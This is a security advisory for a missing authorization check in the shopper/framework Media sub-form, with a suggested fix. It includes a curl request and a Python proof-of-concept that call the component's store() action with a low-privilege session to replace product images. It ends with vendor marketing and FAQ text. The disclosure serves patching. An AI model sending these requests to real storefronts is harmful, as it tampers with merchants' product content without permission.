CVE-2026-56830 — shopper / framework
Missing AuthorizationTitle
Missing authorization on Media sub-form store action allows unpermissioned product media update
Description
A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)
Affected files
packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76
// Lines 64-76 - store() with no authorize() call
public function store(): void
{
$this->validate();
$this->product->update($this->form->getState()); // overwrites thumbnail + gallery media
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
The five sibling components that were fixed in commit fcd0c59 each now have:
public function store(): void
{
$this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files
// ...
}
Media.store() does not.
Steps to reproduce
Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.
SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
# Step 1: Load a product edit page as an admin to obtain the Media component's
# Livewire snapshot ID and the product's public ID.
# The component snapshot appears in the HTML source as data-livewire-snapshot.
# Step 2: As the low-privilege browse-only session, call store() on the Media component,
# pointing at the captured component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "<snapshot JSON from page source with product locked>",
"updates": {},
"calls": [{"path":"","method":"store","params":[]}]
}]
}'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.
Proof of concept
#!/usr/bin/env python3
"""
Media component authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE laravel_session cookie value (browse-only staff session)
XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value
SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component
(copy from data-livewire-snapshot in the product edit page source)
The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{'path': '', 'method': 'store', 'params': []}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.
Suggested fix
// packages/admin/src/Livewire/Components/Products/Form/Media.php
public function store(): void
{
$this->authorize('edit_products'); // add this line
$this->validate();
$this->product->update($this->form->getState());
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
| Software | Affected versions |
|---|---|
shopper / framework
|
< 2.9.2 |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.